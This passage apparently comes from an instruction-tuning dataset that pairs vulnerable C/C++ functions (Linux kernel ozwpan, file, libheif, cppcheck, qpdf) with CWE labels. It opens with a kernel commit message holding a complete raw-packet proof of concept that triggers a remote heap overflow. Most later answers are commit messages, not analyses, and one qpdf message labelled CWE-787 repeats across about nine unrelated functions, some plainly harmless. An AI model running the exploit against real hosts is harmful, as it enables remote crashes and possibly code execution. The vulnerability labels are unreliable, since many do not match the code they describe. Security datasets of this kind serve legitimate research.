bounds checking more easily. Without this, a potentially negative value is passed to the memcpy inside oz_hcd_get_desc_cnf, resulting in a remotely exploitable heap overflow with network supplied data. This could result in remote code execution. A PoC which obtains DoS follows below. It requires the ozprotocol.h file from this module. =-=-=-=-=-= #include <arpa/inet.h> #include <linux/if_packet.h> #include <net/if.h> #include <netinet/ether.h> #include <stdio.h> #include <string.h> #include <stdlib.h> #include <endian.h> #include <sys/ioctl.h> #include <sys/socket.h> #define u8 uint8_t #define u16 uint16_t #define u32 uint32_t #define __packed __attribute__((__packed__)) #include "ozprotocol.h" static int hex2num(char c) { if (c >= '0' && c <= '9') return c - '0'; if (c >= 'a' && c <= 'f') return c - 'a' + 10; if (c >= 'A' && c <= 'F') return c - 'A' + 10; return -1; } static int hwaddr_aton(const char *txt, uint8_t *addr) { int i; for (i = 0; i < 6; i++) { int a, b; a = hex2num(*txt++); if (a < 0) return -1; b = hex2num(*txt++); if (b < 0) return -1; *addr++ = (a << 4) | b; if (i < 5 && *txt++ != ':') return -1; } return 0; } int main(int argc, char *argv[]) { if (argc < 3) { fprintf(stderr, "Usage: %s interface destination_mac\n", argv[0]); return 1; } uint8_t dest_mac[6]; if (hwaddr_aton(argv[2], dest_mac)) { fprintf(stderr, "Invalid mac address.\n"); return 1; } int sockfd = socket(AF_PACKET, SOCK_RAW, IPPROTO_RAW); if (sockfd < 0) { perror("socket"); return 1; } struct ifreq if_idx; int interface_index; strncpy(if_idx.ifr_ifrn.ifrn_name, argv[1], IFNAMSIZ - 1); if (ioctl(sockfd, SIOCGIFINDEX, &if_idx) < 0) { perror("SIOCGIFINDEX"); return 1; } interface_index = if_idx.ifr_ifindex; if (ioctl(sockfd, SIOCGIFHWADDR, &if_idx) < 0) { perror("SIOCGIFHWADDR"); return 1; } uint8_t *src_mac = (uint8_t *)&if_idx.ifr_hwaddr.sa_data; struct { struct ether_header ether_header; struct oz_hdr oz_hdr; struct oz_elt oz_elt; struct oz_elt_connect_req oz_elt_connect_req; } __packed connect_packet = { .ether_header = { .ether_type = htons(OZ_ETHERTYPE), .ether_shost = { src_mac[0], src_mac[1], src_mac[2], src_mac[3], src_mac[4], src_mac[5] }, .ether_dhost = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] } }, .oz_hdr = { .control = OZ_F_ACK_REQUESTED | (OZ_PROTOCOL_VERSION << OZ_VERSION_SHIFT), .last_pkt_num = 0, .pkt_num = htole32(0) }, .oz_elt = { .type = OZ_ELT_CONNECT_REQ, .length = sizeof(struct oz_elt_connect_req) }, .oz_elt_connect_req = { .mode = 0, .resv1 = {0}, .pd_info = 0, .session_id = 0, .presleep = 35, .ms_isoc_latency = 0, .host_vendor = 0, .keep_alive = 0, .apps = htole16((1 << OZ_APPID_USB) | 0x1), .max_len_div16 = 0, .ms_per_isoc = 0, .up_audio_buf = 0, .ms_per_elt = 0 } }; struct { struct ether_header ether_header; struct oz_hdr oz_hdr; struct oz_elt oz_elt; struct oz_get_desc_rsp oz_get_desc_rsp; } __packed pwn_packet = { .ether_header = { .ether_type = htons(OZ_ETHERTYPE), .ether_shost = { src_mac[0], src_mac[1], src_mac[2], src_mac[3], src_mac[4], src_mac[5] }, .ether_dhost = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] } }, .oz_hdr = { .control = OZ_F_ACK_REQUESTED | (OZ_PROTOCOL_VERSION << OZ_VERSION_SHIFT), .last_pkt_num = 0, .pkt_num = htole32(1) }, .oz_elt = { .type = OZ_ELT_APP_DATA, .length = sizeof(struct oz_get_desc_rsp) - 2 }, .oz_get_desc_rsp = { .app_id = OZ_APPID_USB, .elt_seq_num = 0, .type = OZ_GET_DESC_RSP, .req_id = 0, .offset = htole16(0), .total_size = htole16(0), .rcode = 0, .data = {0} } }; struct sockaddr_ll socket_address = { .sll_ifindex = interface_index, .sll_halen = ETH_ALEN, .sll_addr = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] } }; if (sendto(sockfd, &connect_packet, sizeof(connect_packet), 0, (struct sockaddr *)&socket_address, sizeof(socket_address)) < 0) { perror("sendto"); return 1; } usleep(300000); if (sendto(sockfd, &pwn_packet, sizeof(pwn_packet), 0, (struct sockaddr *)&socket_address, sizeof(socket_address)) < 0) { perror("sendto"); return 1; } return 0; } Signed-off-by: Jason A. Donenfeld <Jason@zx2c4.com> Acked-by: Dan Carpenter <dan.carpenter@oracle.com> Cc: stable <stable@vger.kernel.org> Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>'</s>
<s>[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array. Code: cdf_file_summary_info(struct magic_set *ms, const cdf_header_t *h, const cdf_stream_t *sst, const uint64_t clsid[2]) { cdf_summary_info_header_t si; cdf_property_info_t *info; size_t count; int m; if (cdf_unpack_summary_info(sst, h, &si, &info, &count) == -1) return -1; if (NOTMIME(ms)) { const char *str; if (file_printf(ms, "Composite Document File V2 Document") == -1) return -1; if (file_printf(ms, ", %s Endian", si.si_byte_order == 0xfffe ? "Little" : "Big") == -1) return -2; switch (si.si_os) { case 2: if (file_printf(ms, ", Os: Windows, Version %d.%d", si.si_os_version & 0xff, (uint32_t)si.si_os_version >> 8) == -1) return -2; break; case 1: if (file_printf(ms, ", Os: MacOS, Version %d.%d", (uint32_t)si.si_os_version >> 8, si.si_os_version & 0xff) == -1) return -2; break; default: if (file_printf(ms, ", Os %d, Version: %d.%d", si.si_os, si.si_os_version & 0xff, (uint32_t)si.si_os_version >> 8) == -1) return -2; break; } str = cdf_clsid_to_mime(clsid, clsid2desc); if (str) if (file_printf(ms, ", %s", str) == -1) return -2; } m = cdf_file_property_info(ms, info, count, clsid); free(info); return m == -1 ? -2 : m; } ; Sample JSON Format Confermily Expected output: "examples" => "cwe": "xxx"; "message": "xxx" [/INST] 'cwe': ['CWE-20', 'CWE-119'], 'message': 'Apply patches from file-CVE-2012-1571.patch From Francisco Alonso Espejo: file < 5.18/git version can be made to crash when checking some corrupt CDF files (Using an invalid cdf_read_short_sector size) The problem I found here, is that in most situations (if h_short_sec_size_p2 > 8) because the blocksize is 512 and normal values are 06 which means reading 64 bytes.As long as the check for the block size copy is not checked properly (there's an assert that makes wrong/invalid assumptions)'</s>
<s>[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array. Code: Error HeifContext::interpret_heif_file() { m_all_images.clear(); m_top_level_images.clear(); m_primary_image.reset(); // --- reference all non-hidden images std::vector<heif_item_id> image_IDs = m_heif_file->get_item_IDs(); bool primary_is_grid = false; for (heif_item_id id : image_IDs) { auto infe_box = m_heif_file->get_infe_box(id); if (!infe_box) { // TODO(farindk): Should we return an error instead of skipping the invalid id? continue; } if (item_type_is_image(infe_box->get_item_type())) { auto image = std::make_shared<Image>(this, id); m_all_images.insert(std::make_pair(id, image)); if (!infe_box->is_hidden_item()) { if (id==m_heif_file->get_primary_image_ID()) { image->set_primary(true); m_primary_image = image; primary_is_grid = infe_box->get_item_type() == "grid"; } m_top_level_images.push_back(image); } } } if (!m_primary_image) { return Error(heif_error_Invalid_input, heif_suberror_Nonexisting_item_referenced, "'pitm' box references a non-existing image"); } // --- remove thumbnails from top-level images and assign to their respective image auto iref_box = m_heif_file->get_iref_box(); if (iref_box) { // m_top_level_images.clear(); for (auto& pair : m_all_images) { auto& image = pair.second; std::vector<Box_iref::Reference> references = iref_box->get_references_from(image->get_id()); for (const Box_iref::Reference& ref : references) { uint32_t type = ref.header.get_short_type(); if (type==fourcc("thmb")) { // --- this is a thumbnail image, attach to the main image std::vector<heif_item_id> refs = ref.to_item_ID; if (refs.size() != 1) { return Error(heif_error_Invalid_input, heif_suberror_Unspecified, "Too many thumbnail references"); } image->set_is_thumbnail_of(refs[0]); auto master_iter = m_all_images.find(refs[0]); if (master_iter == m_all_images.end()) { return Error(heif_error_Invalid_input, heif_suberror_Nonexisting_item_referenced, "Thumbnail references a non-existing image"); } if (master_iter->second->is_thumbnail()) { return Error(heif_error_Invalid_input, heif_suberror_Nonexisting_item_referenced, "Thumbnail references another thumbnail"); } if (image.get() == master_iter->second.get()) { return Error(heif_error_Invalid_input, heif_suberror_Nonexisting_item_referenced, "Recursive thumbnail image detected"); } master_iter->second->add_thumbnail(image); remove_top_level_image(image); } else if (type==fourcc("auxl")) { // --- this is an auxiliary image // check whether it is an alpha channel and attach to the main image if yes std::vector<Box_ipco::Property> properties; Error err = m_heif_file->get_properties(image->get_id(), properties); if (err) { return err; } std::shared_ptr<Box_auxC> auxC_property; for (const auto& property : properties) { auto auxC = std::dynamic_pointer_cast<Box_auxC>(property.property); if (auxC) { auxC_property = auxC; } } if (!auxC_property) { std::stringstream sstr; sstr << "No auxC property for image " << image->get_id(); return Error(heif_error_Invalid_input, heif_suberror_Auxiliary_image_type_unspecified, sstr.str()); } std::vector<heif_item_id> refs = ref.to_item_ID; if (refs.size() != 1) { return Error(heif_error_Invalid_input, heif_suberror_Unspecified, "Too many auxiliary image references"); } // alpha channel if (auxC_property->get_aux_type() == "urn:mpeg:avc:2015:auxid:1" || auxC_property->get_aux_type() == "urn:mpeg:hevc:2015:auxid:1") { image->set_is_alpha_channel_of(refs[0]); auto master_iter = m_all_images.find(refs[0]); if (image.get() == master_iter->second.get()) { return Error(heif_error_Invalid_input, heif_suberror_Nonexisting_item_referenced, "Recursive alpha image detected"); } master_iter->second->set_alpha_channel(image); } // depth channel if (auxC_property->get_aux_type() == "urn:mpeg:hevc:2015:auxid:2") { image->set_is_depth_channel_of(refs[0]); auto master_iter = m_all_images.find(refs[0]); if (image.get() == master_iter->second.get()) { return Error(heif_error_Invalid_input, heif_suberror_Nonexisting_item_referenced, "Recursive depth image detected"); } master_iter->second->set_depth_channel(image); auto subtypes = auxC_property->get_subtypes(); std::vector<std::shared_ptr<SEIMessage>> sei_messages; Error err = decode_hevc_aux_sei_messages(subtypes, sei_messages); for (auto& msg : sei_messages) { auto depth_msg = std::dynamic_pointer_cast<SEIMessage_depth_representation_info>(msg); if (depth_msg) { image->set_depth_representation_info(*depth_msg); } } } remove_top_level_image(image); } else { // 'image' is a normal image, keep it as a top-level image } } } } // --- check that HEVC images have an hvcC property for (auto& pair : m_all_images) { auto& image = pair.second; std::shared_ptr<Box_infe> infe = m_heif_file->get_infe_box(image->get_id()); if (infe->get_item_type() == "hvc1") { auto ipma = m_heif_file->get_ipma_box(); auto ipco = m_heif_file->get_ipco_box(); if (!ipco->get_property_for_item_ID(image->get_id(), ipma, fourcc("hvcC"))) { return Error(heif_error_Invalid_input, heif_suberror_No_hvcC_box, "No hvcC property in hvc1 type image"); } } } // --- read through properties for each image and extract image resolutions for (auto& pair : m_all_images) { auto& image = pair.second; std::vector<Box_ipco::Property> properties; Error err = m_heif_file->get_properties(pair.first, properties); if (err) { return err; } bool ispe_read = false; bool primary_colr_set = false; for (const auto& prop : properties) { auto ispe = std::dynamic_pointer_cast<Box_ispe>(prop.property); if (ispe) { uint32_t width = ispe->get_width(); uint32_t height = ispe->get_height(); // --- check whether the image size is "too large" if (width >= static_cast<uint32_t>(MAX_IMAGE_WIDTH) || height >= static_cast<uint32_t>(MAX_IMAGE_HEIGHT)) { std::stringstream sstr; sstr << "Image size " << width << "x" << height << " exceeds the maximum image size " << MAX_IMAGE_WIDTH << "x" << MAX_IMAGE_HEIGHT << "\n"; return Error(heif_error_Memory_allocation_error, heif_suberror_Security_limit_exceeded, sstr.str()); } image->set_resolution(width, height); image->set_ispe_resolution(width, height); ispe_read = true; } if (ispe_read) { auto clap = std::dynamic_pointer_cast<Box_clap>(prop.property); if (clap) { image->set_resolution( clap->get_width_rounded(), clap->get_height_rounded() ); } auto irot = std::dynamic_pointer_cast<Box_irot>(prop.property); if (irot) { if (irot->get_rotation()==90 || irot->get_rotation()==270) { // swap width and height image->set_resolution( image->get_height(), image->get_width() ); } } } auto colr = std::dynamic_pointer_cast<Box_colr>(prop.property); if (colr) { auto profile = colr->get_color_profile(); image->set_color_profile(profile); // if this is a grid item we assign the first one's color profile // to the main image which is supposed to be a grid // TODO: this condition is not correct. It would also classify a secondary image as a 'grid item'. // We have to set the grid-image color profile in another way... const bool is_grid_item = !image->is_primary() && !image->is_alpha_channel() && !image->is_depth_channel(); if (primary_is_grid && !primary_colr_set && is_grid_item) { m_primary_image->set_color_profile(profile); primary_colr_set = true; } } } } // --- read metadata and assign to image for (heif_item_id id : image_IDs) { std::string item_type = m_heif_file->get_item_type(id); std::string content_type = m_heif_file->get_content_type(id); if (item_type == "Exif" || (item_type=="mime" && content_type=="application/rdf+xml")) { std::shared_ptr<ImageMetadata> metadata = std::make_shared<ImageMetadata>(); metadata->item_id = id; metadata->item_type = item_type; metadata->content_type = content_type; Error err = m_heif_file->get_compressed_image_data(id, &(metadata->m_data)); if (err) { return err; } //std::cerr.write((const char*)data.data(), data.size()); // --- assign metadata to the image if (iref_box) { std::vector<Box_iref::Reference> references = iref_box->get_references_from(id); for (const auto& ref : references) { if (ref.header.get_short_type() == fourcc("cdsc")) { std::vector<uint32_t> refs = ref.to_item_ID; if (refs.size() != 1) { return Error(heif_error_Invalid_input, heif_suberror_Unspecified, "Exif data not correctly assigned to image"); } uint32_t exif_image_id = refs[0]; auto img_iter = m_all_images.find(exif_image_id); if (img_iter == m_all_images.end()) { return Error(heif_error_Invalid_input, heif_suberror_Nonexisting_item_referenced, "Exif data assigned to non-existing image"); } img_iter->second->add_metadata(metadata); } } } } } return Error::Ok; } ; Sample JSON Format Confermily Expected output: "examples" => "cwe": "xxx"; "message": "xxx" [/INST] 'cwe': ['CWE-416'], 'message': 'Detect non-existing referenced alpha images (fixes #123)'</s>
<s>[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array. Code: static std::string getComment(const std::string &fulltext, int line) { if (line < 1) return ""; // Locate line unsigned int start = 0; for (; start<fulltext.length() ; ++start) { if (line <= 1) break; if (fulltext[start] == '\n') line--; } int end = start + 1; while (fulltext[end] != '\n') end++; std::string comment = fulltext.substr(start, end - start); // Locate comment unsigned int startText = 0; int noOfSemicolon = 0; bool inString = false; for (; startText < comment.length() - 1; ++startText) { if (inString && comment.compare(startText, 2, "\\\"") == 0) { startText++; continue; } if (comment[startText] == '"') inString = !inString; if (!inString) { if (comment.compare(startText, 2, "//") == 0) break; if (comment[startText] == ';' && noOfSemicolon > 0) return ""; if (comment[startText] == ';') noOfSemicolon++; } } if (startText + 2 > comment.length()) return ""; std::string result = comment.substr(startText + 2); return result; } ; Sample JSON Format Confermily Expected output: "examples" => "cwe": "xxx"; "message": "xxx" [/INST] 'cwe': ['CWE-125'], 'message': 'Add file bounds check to comment parser'</s>
<s>[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array. Code: Pl_PNGFilter::decodeAverage() { QTC::TC("libtests", "Pl_PNGFilter decodeAverage"); unsigned char* buffer = this->cur_row + 1; unsigned char* above_buffer = this->prev_row + 1; unsigned int bpp = this->bytes_per_pixel; for (unsigned int i = 0; i < this->bytes_per_row; ++i) { int left = 0; int up = 0; if (i >= bpp) { left = buffer[i - bpp]; } up = above_buffer[i]; buffer[i] += (left+up) / 2; } } ; Sample JSON Format Confermily Expected output: "examples" => "cwe": "xxx"; "message": "xxx" [/INST] 'cwe': ['CWE-787'], 'message': 'Fix sign and conversion warnings (major) This makes all integer type conversions that have potential data loss explicit with calls that do range checks and raise an exception. After this commit, qpdf builds with no warnings when -Wsign-conversion -Wconversion is used with gcc or clang or when -W3 -Wd4800 is used with MSVC. This significantly reduces the likelihood of potential crashes from bogus integer values. There are some parts of the code that take int when they should take size_t or an offset. Such places would make qpdf not support files with more than 2^31 of something that usually wouldn't be so large. In the event that such a file shows up and is valid, at least qpdf would raise an error in the right spot so the issue could be legitimately addressed rather than failing in some weird way because of a silent overflow condition.'</s>
<s>[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array. Code: static void call_read_memory(qpdf_data qpdf) { qpdf->qpdf->processMemoryFile(qpdf->filename, qpdf->buffer, qpdf->size, qpdf->password); } ; Sample JSON Format Confermily Expected output: "examples" => "cwe": "xxx"; "message": "xxx" [/INST] 'cwe': ['CWE-787'], 'message': 'Fix sign and conversion warnings (major) This makes all integer type conversions that have potential data loss explicit with calls that do range checks and raise an exception. After this commit, qpdf builds with no warnings when -Wsign-conversion -Wconversion is used with gcc or clang or when -W3 -Wd4800 is used with MSVC. This significantly reduces the likelihood of potential crashes from bogus integer values. There are some parts of the code that take int when they should take size_t or an offset. Such places would make qpdf not support files with more than 2^31 of something that usually wouldn't be so large. In the event that such a file shows up and is valid, at least qpdf would raise an error in the right spot so the issue could be legitimately addressed rather than failing in some weird way because of a silent overflow condition.'</s>
<s>[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array. Code: std::string generate_page_contents(int pageno) { std::string contents = "BT /F1 24 Tf 72 720 Td (page " + QUtil::int_to_string(pageno) + ") Tj ET\n" "q 468 0 0 468 72 72 cm /Im1 Do Q\n"; return contents; } ; Sample JSON Format Confermily Expected output: "examples" => "cwe": "xxx"; "message": "xxx" [/INST] 'cwe': ['CWE-787'], 'message': 'Fix sign and conversion warnings (major) This makes all integer type conversions that have potential data loss explicit with calls that do range checks and raise an exception. After this commit, qpdf builds with no warnings when -Wsign-conversion -Wconversion is used with gcc or clang or when -W3 -Wd4800 is used with MSVC. This significantly reduces the likelihood of potential crashes from bogus integer values. There are some parts of the code that take int when they should take size_t or an offset. Such places would make qpdf not support files with more than 2^31 of something that usually wouldn't be so large. In the event that such a file shows up and is valid, at least qpdf would raise an error in the right spot so the issue could be legitimately addressed rather than failing in some weird way because of a silent overflow condition.'</s>
<s>[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array. Code: QPDF_Array::getItem(int n) const { if ((n < 0) || (n >= static_cast<int>(this->items.size()))) { throw std::logic_error( "INTERNAL ERROR: bounds error accessing QPDF_Array element"); } return this->items.at(n); } ; Sample JSON Format Confermily Expected output: "examples" => "cwe": "xxx"; "message": "xxx" [/INST] 'cwe': ['CWE-787'], 'message': 'Fix sign and conversion warnings (major) This makes all integer type conversions that have potential data loss explicit with calls that do range checks and raise an exception. After this commit, qpdf builds with no warnings when -Wsign-conversion -Wconversion is used with gcc or clang or when -W3 -Wd4800 is used with MSVC. This significantly reduces the likelihood of potential crashes from bogus integer values. There are some parts of the code that take int when they should take size_t or an offset. Such places would make qpdf not support files with more than 2^31 of something that usually wouldn't be so large. In the event that such a file shows up and is valid, at least qpdf would raise an error in the right spot so the issue could be legitimately addressed rather than failing in some weird way because of a silent overflow condition.'</s>
<s>[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array. Code: QPDFObjectHandle::parseContentStream_data( PointerHolder<Buffer> stream_data, std::string const& description, ParserCallbacks* callbacks) { size_t length = stream_data->getSize(); PointerHolder<InputSource> input = new BufferInputSource(description, stream_data.getPointer()); QPDFTokenizer tokenizer; tokenizer.allowEOF(); bool empty = false; while (static_cast<size_t>(input->tell()) < length) { QPDFObjectHandle obj = parseInternal(input, "content", tokenizer, empty, 0, 0, true); if (! obj.isInitialized()) { // EOF break; } callbacks->handleObject(obj); if (obj.isOperator() && (obj.getOperatorValue() == "ID")) { // Discard next character; it is the space after ID that // terminated the token. Read until end of inline image. char ch; input->read(&ch, 1); tokenizer.expectInlineImage(input); QPDFTokenizer::Token t = tokenizer.readToken(input, description, true); if (t.getType() == QPDFTokenizer::tt_bad) { QTC::TC("qpdf", "QPDFObjectHandle EOF in inline image"); throw QPDFExc(qpdf_e_damaged_pdf, input->getName(), "stream data", input->tell(), "EOF found while reading inline image"); } else { std::string inline_image = t.getValue(); QTC::TC("qpdf", "QPDFObjectHandle inline image token"); callbacks->handleObject( QPDFObjectHandle::newInlineImage(inline_image)); } } } } ; Sample JSON Format Confermily Expected output: "examples" => "cwe": "xxx"; "message": "xxx" [/INST] 'cwe': ['CWE-787'], 'message': 'Fix sign and conversion warnings (major) This makes all integer type conversions that have potential data loss explicit with calls that do range checks and raise an exception. After this commit, qpdf builds with no warnings when -Wsign-conversion -Wconversion is used with gcc or clang or when -W3 -Wd4800 is used with MSVC. This significantly reduces the likelihood of potential crashes from bogus integer values. There are some parts of the code that take int when they should take size_t or an offset. Such places would make qpdf not support files with more than 2^31 of something that usually wouldn't be so large. In the event that such a file shows up and is valid, at least qpdf would raise an error in the right spot so the issue could be legitimately addressed rather than failing in some weird way because of a silent overflow condition.'</s>
<s>[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array. Code: QPDF::resolveObjectsInStream(int obj_stream_number) { // Force resolution of object stream QPDFObjectHandle obj_stream = getObjectByID(obj_stream_number, 0); if (! obj_stream.isStream()) { throw QPDFExc(qpdf_e_damaged_pdf, this->m->file->getName(), this->m->last_object_description, this->m->file->getLastOffset(), "supposed object stream " + QUtil::int_to_string(obj_stream_number) + " is not a stream"); } // For linearization data in the object, use the data from the // object stream for the objects in the stream. QPDFObjGen stream_og(obj_stream_number, 0); qpdf_offset_t end_before_space = this->m->obj_cache[stream_og].end_before_space; qpdf_offset_t end_after_space = this->m->obj_cache[stream_og].end_after_space; QPDFObjectHandle dict = obj_stream.getDict(); if (! (dict.getKey("/Type").isName() && dict.getKey("/Type").getName() == "/ObjStm")) { QTC::TC("qpdf", "QPDF ERR object stream with wrong type"); throw QPDFExc(qpdf_e_damaged_pdf, this->m->file->getName(), this->m->last_object_description, this->m->file->getLastOffset(), "supposed object stream " + QUtil::int_to_string(obj_stream_number) + " has wrong type"); } if (! (dict.getKey("/N").isInteger() && dict.getKey("/First").isInteger())) { throw QPDFExc(qpdf_e_damaged_pdf, this->m->file->getName(), this->m->last_object_description, this->m->file->getLastOffset(), "object stream " + QUtil::int_to_string(obj_stream_number) + " has incorrect keys"); } int n = dict.getKey("/N").getIntValue(); int first = dict.getKey("/First").getIntValue(); std::map<int, int> offsets; PointerHolder<Buffer> bp = obj_stream.getStreamData(qpdf_dl_specialized); PointerHolder<InputSource> input = new BufferInputSource( this->m->file->getName() + " object stream " + QUtil::int_to_string(obj_stream_number), bp.getPointer()); for (int i = 0; i < n; ++i) { QPDFTokenizer::Token tnum = readToken(input); QPDFTokenizer::Token toffset = readToken(input); if (! ((tnum.getType() == QPDFTokenizer::tt_integer) && (toffset.getType() == QPDFTokenizer::tt_integer))) { throw QPDFExc(qpdf_e_damaged_pdf, input->getName(), this->m->last_object_description, input->getLastOffset(), "expected integer in object stream header"); } int num = QUtil::string_to_int(tnum.getValue().c_str()); int offset = QUtil::string_to_ll(toffset.getValue().c_str()); offsets[num] = offset + first; } // To avoid having to read the object stream multiple times, store // all objects that would be found here in the cache. Remember // that some objects stored here might have been overridden by new // objects appended to the file, so it is necessary to recheck the // xref table and only cache what would actually be resolved here. for (std::map<int, int>::iterator iter = offsets.begin(); iter != offsets.end(); ++iter) { int obj = (*iter).first; QPDFObjGen og(obj, 0); QPDFXRefEntry const& entry = this->m->xref_table[og]; if ((entry.getType() == 2) && (entry.getObjStreamNumber() == obj_stream_number)) { int offset = (*iter).second; input->seek(offset, SEEK_SET); QPDFObjectHandle oh = readObject(input, "", obj, 0, true); this->m->obj_cache[og] = ObjCache(QPDFObjectHandle::ObjAccessor::getObject(oh), end_before_space, end_after_space); } else { QTC::TC("qpdf", "QPDF not caching overridden objstm object"); } } } ; Sample JSON Format Confermily Expected output: "examples" => "cwe": "xxx"; "message": "xxx" [/INST] 'cwe': ['CWE-787'], 'message': 'Fix sign and conversion warnings (major) This makes all integer type conversions that have potential data loss explicit with calls that do range checks and raise an exception. After this commit, qpdf builds with no warnings when -Wsign-conversion -Wconversion is used with gcc or clang or when -W3 -Wd4800 is used with MSVC. This significantly reduces the likelihood of potential crashes from bogus integer values. There are some parts of the code that take int when they should take size_t or an offset. Such places would make qpdf not support files with more than 2^31 of something that usually wouldn't be so large. In the event that such a file shows up and is valid, at least qpdf would raise an error in the right spot so the issue could be legitimately addressed rather than failing in some weird way because of a silent overflow condition.'</s>
<s>[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array. Code: static void validate_under_overlay(QPDF& pdf, UnderOverlay* uo, Options& o) { if (0 == uo->filename) { return; } QPDFPageDocumentHelper main_pdh(pdf); int main_npages = static_cast<int>(main_pdh.getAllPages().size()); uo->pdf = process_file(uo->filename, uo->password, o); QPDFPageDocumentHelper uo_pdh(*(uo->pdf)); int uo_npages = static_cast<int>(uo_pdh.getAllPages().size()); try { uo->to_pagenos = QUtil::parse_numrange(uo->to_nr, main_npages); } catch (std::runtime_error& e) { usageExit("parsing numeric range for " + uo->which + " \"to\" pages: " + e.what()); } try { if (0 == strlen(uo->from_nr)) { QTC::TC("qpdf", "qpdf from_nr from repeat_nr"); uo->from_nr = uo->repeat_nr; } uo->from_pagenos = QUtil::parse_numrange(uo->from_nr, uo_npages); if (strlen(uo->repeat_nr)) { uo->repeat_pagenos = QUtil::parse_numrange(uo->repeat_nr, uo_npages); } } catch (std::runtime_error& e) { usageExit("parsing numeric range for " + uo->which + " file " + uo->filename + ": " + e.what()); } } ; Sample JSON Format Confermily Expected output: "examples" => "cwe": "xxx"; "message": "xxx" [/INST] 'cwe': ['CWE-787'], 'message': 'Fix sign and conversion warnings (major) This makes all integer type conversions that have potential data loss explicit with calls that do range checks and raise an exception. After this commit, qpdf builds with no warnings when -Wsign-conversion -Wconversion is used with gcc or clang or when -W3 -Wd4800 is used with MSVC. This significantly reduces the likelihood of potential crashes from bogus integer values. There are some parts of the code that take int when they should take size_t or an offset. Such places would make qpdf not support files with more than 2^31 of something that usually wouldn't be so large. In the event that such a file shows up and is valid, at least qpdf would raise an error in the right spot so the issue could be legitimately addressed rather than failing in some weird way because of a silent overflow condition.'</s>
<s>[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array. Code: static void process(char const* whoami, char const* infile, std::string outprefix) { QPDF inpdf; inpdf.processFile(infile); std::vector<QPDFPageObjectHelper> pages = QPDFPageDocumentHelper(inpdf).getAllPages(); int pageno_len = QUtil::int_to_string(pages.size()).length(); int pageno = 0; for (std::vector<QPDFPageObjectHelper>::iterator iter = pages.begin(); iter != pages.end(); ++iter) { QPDFPageObjectHelper& page(*iter); std::string outfile = outprefix + QUtil::int_to_string(++pageno, pageno_len) + ".pdf"; QPDF outpdf; outpdf.emptyPDF(); QPDFPageDocumentHelper(outpdf).addPage(page, false); QPDFWriter outpdfw(outpdf, outfile.c_str()); if (static_id) { // For the test suite, uncompress streams and use static // IDs. outpdfw.setStaticID(true); // for testing only outpdfw.setStreamDataMode(qpdf_s_uncompress); } outpdfw.write(); } } ; Sample JSON Format Confermily Expected output: "examples" => "cwe": "xxx"; "message": "xxx" [/INST] 'cwe': ['CWE-787'], 'message': 'Fix sign and conversion warnings (major) This makes all integer type conversions that have potential data loss explicit with calls that do range checks and raise an exception. After this commit, qpdf builds with no warnings when -Wsign-conversion -Wconversion is used with gcc or clang or when -W3 -Wd4800 is used with MSVC. This significantly reduces the likelihood of potential crashes from bogus integer values. There are some parts of the code that take int when they should take size_t or an offset. Such places would make qpdf not support files with more than 2^31 of something that usually wouldn't be so large. In the event that such a file shows up and is valid, at least qpdf would raise an error in the right spot so the issue could be legitimately addressed rather than failing in some weird way because of a silent overflow condition.'</s>
<s>[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array. Code: Pl_PNGFilter::decodeSub() { QTC::TC("libtests", "Pl_PNGFilter decodeSub"); unsigned char* buffer = this->cur_row + 1; unsigned int bpp = this->bytes_per_pixel; for (unsigned int i = 0; i < this->bytes_per_row; ++i) { unsigned char left = 0; if (i >= bpp) { left = buffer[i - bpp]; } buffer[i] += left; } } ; Sample JSON Format Confermily Expected output: "examples" => "cwe": "xxx"; "message": "xxx" [/INST] 'cwe': ['CWE-787'], 'message': 'Fix sign and conversion warnings (major) This makes all integer type conversions that have potential data loss explicit with calls that do range checks and raise an exception. After this commit, qpdf builds with no warnings when -Wsign-conversion -Wconversion is used with gcc or clang or when -W3 -Wd4800 is used with MSVC. This significantly reduces the likelihood of potential crashes from bogus integer values. There are some parts of the code that take int when they should take size_t or an offset. Such places would make qpdf not support files with more than 2^31 of something that usually wouldn't be so large. In the event that such a file shows up and is valid, at least qpdf would raise an error in the right spot so the issue could be legitimately addressed rather than failing in some weird way because of a silent overflow condition.'</s>
